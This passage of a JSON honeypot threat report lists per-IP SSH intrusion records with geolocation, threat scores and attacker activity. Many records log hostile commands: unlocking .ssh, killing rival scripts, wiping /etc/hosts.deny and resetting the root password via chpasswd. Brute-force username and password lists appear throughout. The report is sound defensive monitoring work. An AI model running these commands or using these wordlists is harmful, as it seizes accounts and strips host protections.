        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:A1bg79cjy3uc\"|chpasswd|bash",
        "echo \"root:gYQP0SdZYWMb\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:55:58.985000+00:00",
        "last_seen_30d": "2026-05-16T18:31:01.291000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 59
      }
    },
    "165.154.233.2": {
      "attack_count": 241,
      "first_seen": "2026-05-19T20:47:23.207Z",
      "last_seen": "2026-05-19T21:24:15.576Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123root",
        "1qaz2wsx3edc4rfv",
        "2004",
        "India@2022",
        "Welcome2015",
        "aaa111",
        "abcd-1234",
        "asdfgh01",
        "auser",
        "claude",
        "cloudadmin",
        "coding",
        "gustave",
        "hamish123",
        "percy",
        "puppet",
        "qd8899xyz",
        "sharon"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:U5hmqX6oYWye\"|chpasswd|bash",
        "echo \"root:vvZJ5DwNOaJN\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:47:23.207000+00:00",
        "last_seen_30d": "2026-05-19T21:25:22.568000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 57
      }
    },
    "122.10.115.18": {
      "attack_count": 219,
      "first_seen": "2026-05-11T19:35:41.806Z",
      "last_seen": "2026-05-11T20:06:45.205Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "test",
        "ubuntu",
        "root",
        "admin",
        "postgres",
        "test1",
        "345gs5662d34",
        "Ubuntu",
        "debian",
        "odoo",
        "oracle",
        "patrick",
        "reza",
        "sftp",
        "steam",
        "test2",
        "user",
        "user1",
        "userftp",
        "vncuser"
      ],
      "passwords_attempted": [
        "112233",
        "12",
        "123123",
        "1234",
        "12345678",
        "123asd",
        "3245gs5662d34",
        "345gs5662d34",
        "4321",
        "@Dasdd21dDWd1dwaDq",
        "Aa123456",
        "Passw0rd12",
        "Qq123456",
        "Ubuntu2026",
        "aa123456",
        "admin",
        "admin@1234",
        "admin_123456",
        "asdfasdf",
        "debian2021"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"@Dasdd21dDWd1dwaDq\\ndTqAQIlN8UGQ\\ndTqAQIlN8UGQ\\n\"|passwd",
        "echo -e \"@Dasdd21dDWd1dwaDq\\ndTqAQIlN8UGQ\\ndTqAQIlN8UGQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Laws Cloud Infrastructure Limited",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:35:41.806000+00:00",
        "last_seen_30d": "2026-05-11T20:07:54.545000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "36.92.6.45": {
      "attack_count": 219,
      "first_seen": "2026-05-03T04:23:32.946Z",
      "last_seen": "2026-05-03T04:56:49.774Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "oracle",
        "testuser",
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "fastuser",
        "faxserver",
        "ftpadmin",
        "ftpuser",
        "gitadmin",
        "mysql",
        "sftp",
        "test0",
        "test2",
        "test4",
        "teste2",
        "testing1",
        "testuser2"
      ],
      "passwords_attempted": [
        "admin",
        "!@#$%^&*",
        "*",
        "123456",
        "1a2s3",
        "1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "Hello123",
        "P455w0rd@dm1n",
        "P@ssw0rd",
        "Pa$$w0rd",
        "admin!QAZ2wsx",
        "admin123!",
        "fastuser123",
        "faxserver",
        "gitadmin",
        "lkjhgfdsa",
        "newpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Hello123\\nmSzx0WtgSphV\\nmSzx0WtgSphV\\n\"|passwd",
        "echo -e \"Hello123\\nmSzx0WtgSphV\\nmSzx0WtgSphV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:23:32.946000+00:00",
        "last_seen_30d": "2026-05-03T04:57:59.177000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "31.179.197.26": {
      "attack_count": 211,
      "first_seen": "2026-05-30T19:35:12.914Z",
      "last_seen": "2026-05-30T20:00:49.839Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lekaren",
        "opc",
        "oussama",
        "test_user",
        "tim",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz2wsx",
        "12345",
        "123qwe",
        "Aa12345",
        "Asd12345678",
        "Newpassword123!",
        "Zxcv123456",
        "a123123.",
        "aaa123123",
        "dd",
        "lekaren",
        "oussama",
        "q1w2e3r4t5y6"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:S7XGstPLWqrp\"|chpasswd|bash",
        "echo \"root:WTpywwggmYQL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 9141,
      "as_org": "Play",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:35:12.914000+00:00",
        "last_seen_30d": "2026-05-30T20:01:54.136000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 43
      }
    },
    "45.186.225.66": {
      "attack_count": 187,
      "first_seen": "2026-05-20T18:22:00.499Z",
      "last_seen": "2026-05-21T06:32:49.148Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Manaus",
      "asn": 264984,
      "as_org": "CLICKIP PROVEDORES DE ACESSO LTDA",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:22:00.499000+00:00",
        "last_seen_30d": "2026-05-21T06:33:50.105000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 95
      }
    },
    "185.221.237.10": {
      "attack_count": 182,
      "first_seen": "2026-05-25T03:12:24.811Z",
      "last_seen": "2026-05-25T04:32:43.036Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "superv",
        "admin1",
        "chrome",
        "cloud",
        "curl",
        "eder",
        "nagios",
        "samir",
        "tms",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Hh@123456",
        "Lx123456@",
        "P@ssw0rd!!",
        "Password2026",
        "Qwerty123",
        "Sa@123456",
        "Wangsu@2017",
        "eder123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "nagios",
        "qaz123!@#",
        "s0p0rt3",
        "samir123",
        "tms2025",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n41Twyif073f8\\n41Twyif073f8\\n\"|passwd",
        "echo -e \"123456\\n41Twyif073f8\\n41Twyif073f8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:12:24.811000+00:00",
        "last_seen_30d": "2026-05-25T04:33:50.228000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 56
      }
    },
    "43.163.5.204": {
      "attack_count": 173,
      "first_seen": "2026-05-19T14:14:17.167Z",
      "last_seen": "2026-05-19T14:44:12.604Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "!@",
        "123abcABC",
        "3245gs5662d34",
        "345gs5662d34",
        "555555",
        "Ab@123456",
        "K0nig@20202020",
        "Password123",
        "SCpub01",
        "apacheapache",
        "broncos",
        "claude",
        "coyote",
        "iris1234",
        "kun",
        "nothing2lose",
        "playing",
        "quan",
        "r00t123",
        "redstone"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ct2Rl1L64GeP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:14:17.167000+00:00",
        "last_seen_30d": "2026-05-19T14:45:22.039000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "120.28.214.232": {
      "attack_count": 171,
      "first_seen": "2026-05-18T22:00:20.749Z",
      "last_seen": "2026-05-19T06:23:08.327Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Davao City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:00:20.749000+00:00",
        "last_seen_30d": "2026-05-19T06:24:13.605000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 86
      }
    },
    "167.114.156.169": {
      "attack_count": 132,
      "first_seen": "2026-05-08T05:54:37.276Z",
      "last_seen": "2026-05-31T17:17:42.777Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:54:37.276000+00:00",
        "last_seen_30d": "2026-05-31T17:18:50.620000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "177.185.141.93": {
      "attack_count": 122,
      "first_seen": "2026-05-29T01:07:38.361Z",
      "last_seen": "2026-05-29T01:29:44.751Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "anton",
        "backupuser",
        "frappe",
        "soporte"
      ],
      "passwords_attempted": [
        "!@#qwe123QWE",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc#2025",
        "Password1@",
        "Xx123456.",
        "Zxcvb123",
        "anton",
        "backupuser",
        "soporte2026",
        "zxc123321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ncoSMtMisqxr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Imperatriz",
      "asn": 52936,
      "as_org": "ONCABO LTDA",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T01:07:38.361000+00:00",
        "last_seen_30d": "2026-05-29T01:30:51.981000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 30
      }
    },
    "185.255.100.198": {
      "attack_count": 108,
      "first_seen": "2026-05-03T16:31:22.584Z",
      "last_seen": "2026-05-31T13:51:35.504Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:31:22.584000+00:00",
        "last_seen_30d": "2026-05-31T13:52:40.090000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "186.209.162.55": {
      "attack_count": 95,
      "first_seen": "2026-05-18T22:02:51.480Z",
      "last_seen": "2026-05-19T06:14:30.733Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Olinda",
      "asn": 271409,
      "as_org": "DMESON CARLOS BARBOZA GONCALVES DO NASCIMENTO",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:02:51.480000+00:00",
        "last_seen_30d": "2026-05-19T06:15:37.124000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 95,
        "Suricata": 51
      }
    },
    "34.38.76.182": {
      "attack_count": 89,
      "first_seen": "2026-05-18T03:02:49.152Z",
      "last_seen": "2026-05-18T03:03:47.498Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0"
      ],
      "passwords_attempted": [
        "$4",
        "Cseq: 1679",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "",
        "Accept-Encoding: gzip",
        "KHTML, like Gecko",
        "PING",
        "Chrome/127.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "Win64",
        "Windows NT 10.0",
        "Windows NT 10.0 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T03:02:49.152000+00:00",
        "last_seen_30d": "2026-05-18T03:04:56.121000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 42
      }
    },
    "222.108.100.117": {
      "attack_count": 73,
      "first_seen": "2026-05-28T14:17:51.263Z",
      "last_seen": "2026-05-28T14:42:04.807Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "debian",
        "erp",
        "stefano",
        "student"
      ],
      "passwords_attempted": [
        "12345678",
        "1234Qwer",
        "225588",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Originalcox!@#",
        "Qwer@1234",
        "erp",
        "fjbdfdjkdsfs541544",
        "stefano",
        "zxcvbnm,"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T14:17:51.263000+00:00",
        "last_seen_30d": "2026-05-28T14:43:12.126000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 30
      }
    },
    "198.98.60.130": {
      "attack_count": 72,
      "first_seen": "2026-05-08T12:54:55.536Z",
      "last_seen": "2026-05-19T02:02:31.859Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:54:55.536000+00:00",
